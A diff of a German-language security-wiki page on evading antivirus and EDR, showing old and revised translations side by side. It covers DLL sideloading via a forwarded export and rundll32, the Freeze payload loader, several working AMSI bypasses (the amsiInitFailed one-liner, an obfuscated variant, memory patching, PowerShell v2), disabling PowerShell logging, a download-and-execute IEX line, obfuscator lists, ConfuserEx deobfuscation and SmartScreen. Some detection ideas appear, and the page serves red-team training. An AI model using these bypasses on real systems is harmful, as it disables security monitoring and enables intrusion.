2) Lege eine bösartige `NCRYPTPROV.dll` im selben Ordner ab. Eine minimale DllMain reicht aus, um Codeausführung zu erreichen; du musst die weitergeleitete Funktion nicht implementieren, um DllMain auszulösen.
|
||||
```c
|
||||
// x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
|
||||
#include <windows.h>
|
||||
@ -151,35 +149,35 @@ if(h!=INVALID_HANDLE_VALUE){ const char *m = "hello"; DWORD w; WriteFile(h,m,5,&
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
3) Löse die Weiterleitung mit einem signierten LOLBin aus:
|
||||
3) Weiterleitung mit einem signierten LOLBin auslösen:
|
||||
```
|
||||
rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface
|
||||
```
|
||||
Beobachtetes Verhalten:
|
||||
- rundll32 (signiert) lädt die side-by-side `keyiso.dll` (signiert)
|
||||
- Während der Auflösung von `KeyIsoSetAuditingInterface` folgt der Loader der Weiterleitung zu `NCRYPTPROV.SetAuditingInterface`
|
||||
- rundll32 (signed) lädt die side-by-side `keyiso.dll` (signed)
|
||||
- Beim Auflösen von `KeyIsoSetAuditingInterface` folgt der Loader dem Forward zu `NCRYPTPROV.SetAuditingInterface`
|
||||
- Der Loader lädt dann `NCRYPTPROV.dll` aus `C:\test` und führt dessen `DllMain` aus
|
||||
- Wenn `SetAuditingInterface` nicht implementiert ist, erhalten Sie erst nach Ausführung von `DllMain` einen "missing API"-Fehler
|
||||
- Wenn `SetAuditingInterface` nicht implementiert ist, erhältst du erst nach dem Ausführen von `DllMain` eine "missing API"-Fehlermeldung
|
||||
|
||||
Hinweise zur Erkennung:
|
||||
- Konzentrieren Sie sich auf weitergeleitete Exports, bei denen das Zielmodul kein KnownDLL ist. KnownDLLs sind unter `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs` aufgelistet.
|
||||
- Sie können weitergeleitete Exports mit Tools wie:
|
||||
Hinweise zur Suche:
|
||||
- Konzentriere dich auf forwarded exports, bei denen das Zielmodul kein KnownDLL ist. KnownDLLs sind unter `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs` aufgelistet.
|
||||
- Du kannst forwarded exports mit Tools wie:
|
||||
```
|
||||
dumpbin /exports C:\Windows\System32\keyiso.dll
|
||||
# forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface
|
||||
```
|
||||
- Siehe das Windows 11 Forwarder-Inventar, um nach Kandidaten zu suchen: https://hexacorn.com/d/apis_fwd.txt
|
||||
- Sieh dir das Windows 11 Forwarder-Inventar an, um Kandidaten zu finden: https://hexacorn.com/d/apis_fwd.txt
|
||||
|
||||
Erkennungs-/Abwehrideen:
|
||||
- Überwache LOLBins (z. B. rundll32.exe), die signierte DLLs aus Nicht-Systempfaden laden, gefolgt vom Laden non-KnownDLLs mit demselben Basisnamen aus diesem Verzeichnis
|
||||
- Alarm bei Prozess-/Modulketten wie: `rundll32.exe` → non-system `keyiso.dll` → `NCRYPTPROV.dll` in benutzerschreibbaren Pfaden
|
||||
- Überwache LOLBins (z. B. rundll32.exe), die signierte DLLs aus Nicht-Systempfaden laden, gefolgt vom Laden nicht-KnownDLLs mit demselben Basisnamen aus diesem Verzeichnis
|
||||
- Alarm auslösen bei Prozess-/Modulketten wie: `rundll32.exe` → non-system `keyiso.dll` → `NCRYPTPROV.dll` unter user-writable paths
|
||||
- Durchsetzen von Code-Integritätsrichtlinien (WDAC/AppLocker) und Verweigern von write+execute in Anwendungsverzeichnissen
|
||||
|
||||
## [**Freeze**](https://github.com/optiv/Freeze)
|
||||
|
||||
`Freeze ist ein Payload-Toolkit zum Umgehen von EDRs unter Verwendung suspendierter Prozesse, direkter syscalls und alternativer Ausführungsmethoden`
|
||||
`Freeze ist ein Payload-Toolkit zum Umgehen von EDRs durch Nutzung von suspended processes, direct syscalls und alternative execution methods`
|
||||
|
||||
Du kannst Freeze verwenden, um deinen shellcode unauffällig zu laden und auszuführen.
|
||||
Du kannst Freeze verwenden, um deinen shellcode auf eine stealthy Weise zu laden und auszuführen.
|
||||
```
|
||||
Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
|
||||
1. Generate some shellcode, in this case I used Havoc C2.
|
||||
@ -189,13 +187,13 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
||||
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Umgehung ist nur ein Katz- und Mausspiel — was heute funktioniert, kann morgen entdeckt werden. Verlasse dich niemals ausschließlich auf ein Tool; wenn möglich, kombiniere mehrere Umgehungstechniken.
|
||||
> Evasion ist nur ein Katz-und-Maus-Spiel — was heute funktioniert, kann morgen erkannt werden. Verlasse dich also niemals auf nur ein Tool; wenn möglich, versuche mehrere evasion-Techniken zu verketten.
|
||||
|
||||
## AMSI (Anti-Malware Scan Interface)
|
||||
|
||||
AMSI wurde entwickelt, um "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)" zu verhindern. Anfangs konnten AVs nur **Dateien auf der Festplatte** scannen, sodass Payloads, die **direkt im Speicher (in-memory)** ausgeführt wurden, vom AV nicht erkannt werden konnten, da die Sichtbarkeit fehlte.
|
||||
AMSI wurde geschaffen, um "fileless malware" zu verhindern. Ursprünglich konnten AVs nur **files on disk** scannen; wenn du Payloads **directly in-memory** ausführst, konnte das AV nichts dagegen tun, weil die Sichtbarkeit fehlte.
|
||||
|
||||
Die AMSI-Funktion ist in folgende Windows-Komponenten integriert.
|
||||
Die AMSI-Funktion ist in folgende Windows-Komponenten integriert:
|
||||
|
||||
- User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
|
||||
- PowerShell (scripts, interactive use, and dynamic code evaluation)
|
||||
@ -203,39 +201,39 @@ Die AMSI-Funktion ist in folgende Windows-Komponenten integriert.
|
||||
- JavaScript and VBScript
|
||||
- Office VBA macros
|
||||
|
||||
Sie erlaubt Antivirus-Lösungen, das Verhalten von Skripten zu inspizieren, indem Skriptinhalte in einer Form offengelegt werden, die weder verschlüsselt noch obfuskiert ist.
|
||||
Sie erlaubt Antivirus-Lösungen, das Verhalten von Skripten zu inspizieren, indem Skriptinhalte in einer unverschlüsselten und nicht-obfuskierten Form offengelegt werden.
|
||||
|
||||
Running `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` will produce the following alert on Windows Defender.
|
||||
Das Ausführen von `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` erzeugt die folgende Warnung in Windows Defender.
|
||||
|
||||
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Beachte, wie es `amsi:` voranstellt und anschließend den Pfad zur ausführenden Datei angibt — in diesem Fall powershell.exe
|
||||
Achte darauf, dass es `amsi:` voranstellt und anschließend den Pfad zur ausführbaren Datei angibt, von der das Skript gestartet wurde — in diesem Fall powershell.exe.
|
||||
|
||||
Wir haben keine Datei auf die Festplatte geschrieben, wurden aber trotzdem im Speicher (in-memory) durch AMSI erkannt.
|
||||
Wir haben keine Datei auf die Festplatte geschrieben, wurden aber trotzdem wegen AMSI im-memory entdeckt.
|
||||
|
||||
Außerdem werden ab **.NET 4.8** auch C#-Programme durch AMSI geleitet. Das betrifft sogar `Assembly.Load(byte[])` für in-memory execution. Deshalb wird empfohlen, für In-Memory-Ausführung niedrigere .NET-Versionen (z. B. 4.7.2 oder älter) zu verwenden, wenn man AMSI umgehen möchte.
|
||||
Außerdem wird ab **.NET 4.8** auch C#-Code über AMSI geprüft. Das betrifft sogar `Assembly.Load(byte[])` für in-memory execution. Deshalb wird empfohlen, für in-memory Ausführung niedrigere .NET-Versionen (z. B. 4.7.2 oder niedriger) zu verwenden, wenn du AMSI evaden möchtest.
|
||||
|
||||
Es gibt mehrere Wege, AMSI zu umgehen:
|
||||
Es gibt ein paar Möglichkeiten, AMSI zu umgehen:
|
||||
|
||||
- **Obfuscation**
|
||||
|
||||
Da AMSI hauptsächlich mit statischen Erkennungen arbeitet, kann das Modifizieren der Skripte, die man laden will, eine gute Methode sein, um einer Erkennung zu entgehen.
|
||||
Da AMSI hauptsächlich mit static detections arbeitet, kann das Modifizieren der Skripte, die du laden willst, eine gute Methode sein, um evading detection zu erreichen.
|
||||
|
||||
Allerdings hat AMSI die Fähigkeit, Skripte zu deobfuskieren, selbst wenn mehrere Schichten angewendet wurden, sodass Obfuskation je nach Umsetzung eine schlechte Option sein kann. Das macht das Umgehen nicht immer trivial. Manchmal reicht es jedoch, ein paar Variablennamen zu ändern, sodass es darauf ankommt, wie stark etwas markiert wurde.
|
||||
Allerdings kann AMSI Skripte sogar deobfuskieren, selbst wenn mehrere Schichten vorhanden sind, sodass Obfuscation je nach Vorgehensweise keine gute Option sein kann. Das macht das Umgehen nicht so trivial. Manchmal reicht aber schon das Ändern einiger Variablennamen, sodass es vom Flagging abhängt, wie aufwändig es sein muss.
|
||||
|
||||
- **AMSI Bypass**
|
||||
|
||||
Da AMSI durch das Laden einer DLL in den powershell-Prozess (ebenfalls cscript.exe, wscript.exe usw.) implementiert ist, lässt es sich selbst als unprivilegierter Benutzer relativ einfach manipulieren. Aufgrund dieser Implementierungsschwäche haben Forscher mehrere Wege gefunden, AMSI-Scanning zu umgehen.
|
||||
Da AMSI durch das Laden einer DLL in den powershell- (ebenfalls cscript.exe, wscript.exe usw.) Prozess implementiert ist, lässt sich diese DLL sogar als nicht privilegierter Benutzer relativ einfach manipulieren. Aufgrund dieses Implementierungsfehlers haben Forscher mehrere Wege gefunden, AMSI-Scanning zu evaden.
|
||||
|
||||
**Forcing an Error**
|
||||
|
||||
Das Erzwingen eines Fehlschlags der AMSI-Initialisierung (amsiInitFailed) führt dazu, dass für den aktuellen Prozess kein Scan gestartet wird. Ursprünglich wurde dies von [Matt Graeber](https://twitter.com/mattifestation) öffentlich gemacht, und Microsoft hat eine Signatur entwickelt, um eine breitere Nutzung zu verhindern.
|
||||
Das Erzwingen eines Fehlschlags der AMSI-Initialisierung (amsiInitFailed) führt dazu, dass für den aktuellen Prozess kein Scan gestartet wird. Ursprünglich wurde dies von [Matt Graeber](https://twitter.com/mattifestation) veröffentlicht, und Microsoft hat eine Signatur entwickelt, um die breite Nutzung einzudämmen.
|
||||
```bash
|
||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
||||
```
|
||||
Alles, was nötig war, war eine einzige Zeile powershell code, um AMSI für den aktuellen powershell process unbrauchbar zu machen. Diese Zeile wurde natürlich von AMSI selbst erkannt, daher ist eine Modifikation nötig, um diese Technik verwenden zu können.
|
||||
Es bedurfte nur einer Zeile powershell-Code, um AMSI für den aktuellen powershell-Prozess unbrauchbar zu machen. Diese Zeile wurde natürlich von AMSI selbst erkannt, daher ist eine Modifikation nötig, um diese Technik anzuwenden.
|
||||
|
||||
Hier ist ein modifizierter AMSI bypass, den ich aus diesem [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) entnommen habe.
|
||||
Hier ist ein modifizierter AMSI bypass, den ich aus diesem [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) übernommen habe.
|
||||
```bash
|
||||
Try{#Ams1 bypass technic nº 2
|
||||
$Xdatabase = 'Utils';$Homedrive = 'si'
|
||||
@ -249,119 +247,119 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
|
||||
$Spotfix.SetValue($null,$true)
|
||||
}Catch{Throw $_}
|
||||
```
|
||||
Beachte, dass dies wahrscheinlich markiert wird, sobald dieser Beitrag veröffentlicht wird, daher solltest du keinen Code veröffentlichen, wenn dein Plan ist, unentdeckt zu bleiben.
|
||||
Beachte, dass dies wahrscheinlich auffallen wird, sobald dieser Beitrag veröffentlicht ist; veröffentliche keinen Code, wenn du unentdeckt bleiben willst.
|
||||
|
||||
**Memory Patching**
|
||||
|
||||
Diese Technik wurde ursprünglich von [@RastaMouse](https://twitter.com/_RastaMouse/) entdeckt und besteht darin, die Adresse der Funktion "AmsiScanBuffer" in amsi.dll (zuständig für das Scannen der vom Benutzer bereitgestellten Eingabe) zu finden und sie mit Anweisungen zu überschreiben, die den Code E_INVALIDARG zurückgeben. Auf diese Weise liefert das eigentliche Scan-Ergebnis 0, was als sauber interpretiert wird.
|
||||
Diese Technik wurde ursprünglich von [@RastaMouse](https://twitter.com/_RastaMouse/) entdeckt und beinhaltet das Finden der Adresse der Funktion "AmsiScanBuffer" in amsi.dll (verantwortlich für das Scannen der vom Benutzer bereitgestellten Eingabe) und deren Überschreiben mit Anweisungen, die den Rückgabewert E_INVALIDARG liefern; dadurch gibt das Ergebnis des eigentlichen Scans 0 zurück, was als sauberes Ergebnis interpretiert wird.
|
||||
|
||||
> [!TIP]
|
||||
> Bitte lies [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) für eine detailliertere Erklärung.
|
||||
> Bitte lies [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) für eine ausführlichere Erklärung.
|
||||
|
||||
Es gibt außerdem viele weitere Techniken, um AMSI mit powershell zu umgehen, siehe [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) und [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell), um mehr darüber zu erfahren.
|
||||
Es gibt außerdem viele weitere Techniken, um AMSI mit PowerShell zu umgehen — siehe [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) und [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell), um mehr darüber zu erfahren.
|
||||
|
||||
Dieses Tool [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) erzeugt außerdem Skripte, um AMSI zu umgehen.
|
||||
Dieses Tool [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) generiert ebenfalls script, um AMSI zu umgehen.
|
||||
|
||||
**Die erkannte Signatur entfernen**
|
||||
**Entferne die erkannte Signatur**
|
||||
|
||||
Du kannst ein Tool wie **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** und **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** verwenden, um die erkannte AMSI-Signatur aus dem Speicher des aktuellen Prozesses zu entfernen. Dieses Tool arbeitet, indem es den Speicher des aktuellen Prozesses nach der AMSI-Signatur durchsucht und sie dann mit NOP-Anweisungen überschreibt, wodurch sie effektiv aus dem Speicher entfernt wird.
|
||||
Du kannst ein Tool wie **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** und **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** verwenden, um die erkannte AMSI-Signatur aus dem Speicher des aktuellen Prozesses zu entfernen. Dieses Tool arbeitet, indem es den Speicher des aktuellen Prozesses nach der AMSI-Signatur durchsucht und diese dann mit NOP instructions überschreibt, wodurch sie effektiv aus dem Speicher entfernt wird.
|
||||
|
||||
**AV/EDR-Produkte, die AMSI verwenden**
|
||||
|
||||
Eine Liste von AV/EDR-Produkten, die AMSI verwenden, findest du in **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**.
|
||||
|
||||
**Powershell Version 2 verwenden**
|
||||
Wenn du PowerShell Version 2 verwendest, wird AMSI nicht geladen, sodass du deine Skripte ausführen kannst, ohne von AMSI gescannt zu werden. Du kannst dies so tun:
|
||||
**PowerShell Version 2 verwenden**
|
||||
Wenn du PowerShell Version 2 verwendest, wird AMSI nicht geladen, sodass du deine scripts ausführen kannst, ohne von AMSI gescannt zu werden. Du kannst Folgendes tun:
|
||||
```bash
|
||||
powershell.exe -version 2
|
||||
```
|
||||
## PS-Protokollierung
|
||||
## PS Logging
|
||||
|
||||
PowerShell logging ist eine Funktion, mit der alle auf einem System ausgeführten PowerShell-Befehle protokolliert werden können. Das kann nützlich für Überprüfungen und Fehlerbehebung sein, aber es kann auch ein **Problem für Angreifer darstellen, die der Erkennung entgehen wollen**.
|
||||
PowerShell logging ist eine Funktion, die es ermöglicht, alle auf einem System ausgeführten PowerShell-Befehle zu protokollieren. Das kann nützlich für Auditing und Fehlerbehebung sein, aber es kann auch ein **Problem für Angreifer darstellen, die der Erkennung entgehen wollen**.
|
||||
|
||||
Um die PowerShell-Protokollierung zu umgehen, können Sie die folgenden Techniken verwenden:
|
||||
Um PowerShell logging zu umgehen, können Sie die folgenden Techniken verwenden:
|
||||
|
||||
- **Disable PowerShell Transcription and Module Logging**: Dafür können Sie ein Tool wie [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) verwenden.
|
||||
- **Use Powershell version 2**: Wenn Sie PowerShell Version 2 verwenden, wird AMSI nicht geladen, sodass Sie Ihre Skripte ausführen können, ohne von AMSI gescannt zu werden. Das geht z.B.: `powershell.exe -version 2`
|
||||
- **Use an Unmanaged Powershell Session**: Verwenden Sie [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell), um eine unmanaged PowerShell-Session ohne Schutzmechanismen zu starten (das ist das, was `powerpick` von Cobal Strike verwendet).
|
||||
- **Disable PowerShell Transcription and Module Logging**: Sie können ein Tool wie [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) dafür verwenden.
|
||||
- **Use Powershell version 2**: Wenn Sie PowerShell Version 2 verwenden, wird AMSI nicht geladen, sodass Sie Ihre Skripte ausführen können, ohne von AMSI gescannt zu werden. Starten Sie z. B.: `powershell.exe -version 2`
|
||||
- **Use an Unmanaged Powershell Session**: Nutzen Sie [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell), um eine PowerShell ohne Defenses zu starten (das ist das, was `powerpick` von Cobal Strike verwendet).
|
||||
|
||||
|
||||
## Obfuskation
|
||||
## Obfuscation
|
||||
|
||||
> [!TIP]
|
||||
> Einige Obfuskationstechniken beruhen auf der Verschlüsselung von Daten, was die Entropie der Binärdatei erhöht und es AVs und EDRs erleichtert, sie zu erkennen. Seien Sie vorsichtig damit und verschlüsseln Sie gegebenenfalls nur bestimmte Abschnitte Ihres Codes, die sensibel sind oder verborgen werden müssen.
|
||||
> Mehrere Obfuscation-Techniken basieren auf der Verschlüsselung von Daten, was die Entropie der Binary erhöht und AVs/EDRs das Erkennen erleichtert. Seien Sie vorsichtig damit und verschlüsseln Sie ggf. nur spezifische Abschnitte Ihres Codes, die sensibel sind oder versteckt werden müssen.
|
||||
|
||||
### Deobfuskation von ConfuserEx-geschützten .NET-Binärdateien
|
||||
### Deobfuscating ConfuserEx-Protected .NET Binaries
|
||||
|
||||
Bei der Analyse von Malware, die ConfuserEx 2 (oder kommerzielle Forks) verwendet, trifft man häufig auf mehrere Schutzschichten, die Decompiler und Sandboxes blockieren. Der nachstehende Ablauf stellt zuverlässig ein nahezu originales IL wieder her, das anschließend in Tools wie dnSpy oder ILSpy nach C# dekompiliert werden kann.
|
||||
Beim Analysieren von Malware, die ConfuserEx 2 (oder kommerzielle Forks) verwendet, stößt man häufig auf mehrere Schutzschichten, die Decompiler und Sandboxes blockieren. Der untenstehende Workflow stellt zuverlässig ein nahezu originales IL wieder her, das anschließend in C# in Tools wie dnSpy oder ILSpy dekompiliert werden kann.
|
||||
|
||||
1. Anti-Tampering-Entfernung – ConfuserEx verschlüsselt jeden *method body* und entschlüsselt ihn im statischen Konstruktor des *module* (`<Module>.cctor`). Dies patched außerdem die PE-Checksumme, sodass jede Modifikation das Binary zum Absturz bringen kann. Verwenden Sie **AntiTamperKiller**, um die verschlüsselten Metadaten-Tabellen zu finden, die XOR-Schlüssel wiederherzustellen und ein sauberes Assembly neu zu schreiben:
|
||||
1. Anti-tampering removal – ConfuserEx verschlüsselt jeden *method body* und entschlüsselt ihn im statischen Konstruktor des *module* (`<Module>.cctor`). Das ändert außerdem die PE-Checksumme, sodass jede Modifikation die Binary zum Absturz bringen kann. Verwenden Sie **AntiTamperKiller**, um die verschlüsselten Metadatentabellen zu lokalisieren, die XOR-Keys wiederherzustellen und eine saubere Assembly neu zu schreiben:
|
||||
```bash
|
||||
# https://github.com/wwh1004/AntiTamperKiller
|
||||
python AntiTamperKiller.py Confused.exe Confused.clean.exe
|
||||
```
|
||||
Die Ausgabe enthält die 6 Anti-Tamper-Parameter (`key0-key3`, `nameHash`, `internKey`), die beim Erstellen eines eigenen Unpackers nützlich sein können.
|
||||
|
||||
2. Symbol-/Control-Flow-Wiederherstellung – geben Sie die *clean*-Datei an **de4dot-cex** (ein ConfuserEx-kompatibler Fork von de4dot).
|
||||
2. Symbol / control-flow recovery – geben Sie die *clean* Datei an **de4dot-cex** (ein ConfuserEx-bewusster Fork von de4dot).
|
||||
```bash
|
||||
de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
|
||||
```
|
||||
Flags:
|
||||
• `-p crx` – wählt das ConfuserEx 2 Profil
|
||||
• de4dot macht Control-Flow-Flattening rückgängig, stellt originale Namespaces, Klassen und Variablennamen wieder her und entschlüsselt konstante Strings.
|
||||
• de4dot wird Control-Flow-Flattening rückgängig machen, originale Namespaces, Klassen und Variablennamen wiederherstellen und konstante Strings entschlüsseln.
|
||||
|
||||
3. Proxy-Call-Entfernung – ConfuserEx ersetzt direkte Methodenaufrufe durch leichte Wrapper (a.k.a *proxy calls*), um die Dekompilierung weiter zu erschweren. Entfernen Sie diese mit **ProxyCall-Remover**:
|
||||
3. Proxy-call stripping – ConfuserEx ersetzt direkte Methodenaufrufe durch leichte Wrapper (sog. *proxy calls*), um die Dekompilierung weiter zu erschweren. Entfernen Sie diese mit **ProxyCall-Remover**:
|
||||
```bash
|
||||
ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
|
||||
```
|
||||
Nach diesem Schritt sollten Sie normale .NET-APIs wie `Convert.FromBase64String` oder `AES.Create()` sehen anstelle von undurchsichtigen Wrapper-Funktionen (`Class8.smethod_10`, …).
|
||||
Nach diesem Schritt sollten Sie normale .NET-APIs wie `Convert.FromBase64String` oder `AES.Create()` sehen, anstelle undurchsichtiger Wrapper-Funktionen (`Class8.smethod_10`, …).
|
||||
|
||||
4. Manuelle Bereinigung – führen Sie das resultierende Binary in dnSpy aus, suchen Sie nach großen Base64-Blobs oder der Verwendung von `RijndaelManaged`/`TripleDESCryptoServiceProvider`, um die *eigentliche* Nutzlast zu finden. Oft speichert die Malware diese als TLV-kodiertes Byte-Array, das innerhalb von `<Module>.byte_0` initialisiert wird.
|
||||
4. Manual clean-up – führen Sie die resultierende Binary in dnSpy aus, suchen Sie nach großen Base64-Blobs oder der Nutzung von `RijndaelManaged`/`TripleDESCryptoServiceProvider`, um die *wirkliche* Payload zu finden. Oft speichert die Malware diese als TLV-kodiertes Byte-Array, initialisiert innerhalb von `<Module>.byte_0`.
|
||||
|
||||
Die oben beschriebene Kette stellt den Ausführungsfluss **wiederher**, ohne das bösartige Sample ausführen zu müssen – nützlich, wenn man an einem Offline-Arbeitsplatz arbeitet.
|
||||
Die obige Kette stellt den Ausführungsfluss **wieder her, ohne** die bösartige Probe ausführen zu müssen – nützlich bei der Arbeit auf einer Offline-Workstation.
|
||||
|
||||
> 🛈 ConfuserEx erzeugt ein benutzerdefiniertes Attribut namens `ConfusedByAttribute`, das als IOC verwendet werden kann, um Samples automatisch zu triagieren.
|
||||
> 🛈 ConfuserEx erzeugt ein benutzerdefiniertes Attribut namens `ConfusedByAttribute`, das als IOC verwendet werden kann, um Samples automatisch zu triagieren.
|
||||
|
||||
#### Einzeiler
|
||||
#### One-liner
|
||||
```bash
|
||||
autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially
|
||||
```
|
||||
---
|
||||
|
||||
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Ziel dieses Projekts ist es, einen open-source fork der [LLVM](http://www.llvm.org/) Compilation-Suite bereitzustellen, der erhöhte Software-Sicherheit durch code obfuscation und tamper-proofing bietet.
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstriert, wie man die `C++11/14`-Sprache nutzt, um zur Compile-Zeit obfuscated code zu erzeugen, ohne ein externes Tool zu verwenden und ohne den Compiler zu verändern.
|
||||
- [**obfy**](https://github.com/fritzone/obfy): Fügt eine Schicht von obfuscated operations hinzu, die vom C++ template metaprogramming framework generiert werden und das Leben der Person, die die Anwendung cracken möchte, etwas erschweren.
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz ist ein x64 binary obfuscator, der verschiedene PE-Dateien obfuskieren kann, einschließlich: .exe, .dll, .sys
|
||||
- [**metame**](https://github.com/a0rtega/metame): Metame ist ein einfacher metamorphic code engine für beliebige Executables.
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator ist ein fein granuliertes code obfuscation framework für LLVM-supported languages, das ROP (return-oriented programming) verwendet. ROPfuscator obfuskiert ein Programm auf der Assembly-Ebene, indem es reguläre Instruktionen in ROP-Chains transformiert und damit unsere natürliche Vorstellung von normalem Kontrollfluss unterläuft.
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Ziel dieses Projekts ist es, einen Open-Source-Fork der [LLVM](http://www.llvm.org/) Kompilations-Suite bereitzustellen, der erhöhte Softwaresicherheit durch [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) und Manipulationsschutz bietet.
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstriert, wie man die `C++11/14`-Sprache nutzt, um zur Kompilierzeit obfuscated code zu erzeugen, ohne ein externes Tool zu verwenden und ohne den Compiler zu modifizieren.
|
||||
- [**obfy**](https://github.com/fritzone/obfy): Fügt eine Schicht obfuscated operations hinzu, die vom C++ template metaprogramming framework erzeugt werden und das Leben der Person, die die Anwendung knacken möchte, etwas schwerer machen.
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz ist ein x64 binary obfuscator, der verschiedene pe files obfuscaten kann, einschließlich: .exe, .dll, .sys
|
||||
- [**metame**](https://github.com/a0rtega/metame): Metame ist eine einfache metamorphic code engine für beliebige executables.
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator ist ein fine-grained code obfuscation framework für LLVM-supported languages unter Verwendung von ROP (return-oriented programming). ROPfuscator obfuscates ein Programm auf Assembly-Code-Ebene, indem reguläre Instruktionen in ROP chains transformiert werden, wodurch unsere natürliche Vorstellung von normalem control flow unterlaufen wird.
|
||||
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt ist ein .NET PE Crypter geschrieben in Nim
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor kann vorhandene EXE/DLL in shellcode konvertieren und diese dann laden
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor kann bestehende EXE/DLL in shellcode konvertieren und diese dann laden
|
||||
|
||||
## SmartScreen & MoTW
|
||||
|
||||
Möglicherweise haben Sie diesen Bildschirm gesehen, wenn Sie ausführbare Dateien aus dem Internet heruntergeladen und ausgeführt haben.
|
||||
|
||||
Microsoft Defender SmartScreen ist ein Sicherheitsmechanismus, der dazu dient, den Endanwender davor zu schützen, potenziell bösartige Anwendungen auszuführen.
|
||||
Microsoft Defender SmartScreen ist ein Sicherheitsmechanismus, der den Endbenutzer davor schützen soll, potenziell schädliche Anwendungen auszuführen.
|
||||
|
||||
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SmartScreen arbeitet hauptsächlich mit einem reputationsbasierten Ansatz. Das bedeutet, dass selten heruntergeladene Anwendungen SmartScreen auslösen, wodurch der Endanwender gewarnt und daran gehindert wird, die Datei auszuführen (obwohl die Datei weiterhin ausgeführt werden kann, indem man More Info -> Run anyway klickt).
|
||||
SmartScreen arbeitet hauptsächlich auf Basis eines reputationsbasierten Ansatzes. Das bedeutet, dass selten heruntergeladene Anwendungen SmartScreen auslösen, wodurch der Endbenutzer gewarnt wird und die Ausführung der Datei verhindert wird (obwohl die Datei weiterhin über Mehr Informationen -> Trotzdem ausführen ausgeführt werden kann).
|
||||
|
||||
**MoTW** (Mark of The Web) ist ein [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) mit dem Namen Zone.Identifier, der automatisch beim Herunterladen von Dateien aus dem Internet erstellt wird, zusammen mit der URL, von der die Datei heruntergeladen wurde.
|
||||
**MoTW** (Mark of The Web) ist ein [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) mit dem Namen Zone.Identifier, der beim Herunterladen von Dateien aus dem Internet automatisch erstellt wird, zusammen mit der URL, von der die Datei heruntergeladen wurde.
|
||||
|
||||
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Überprüfung des Zone.Identifier ADS für eine aus dem Internet heruntergeladene Datei.</p></figcaption></figure>
|
||||
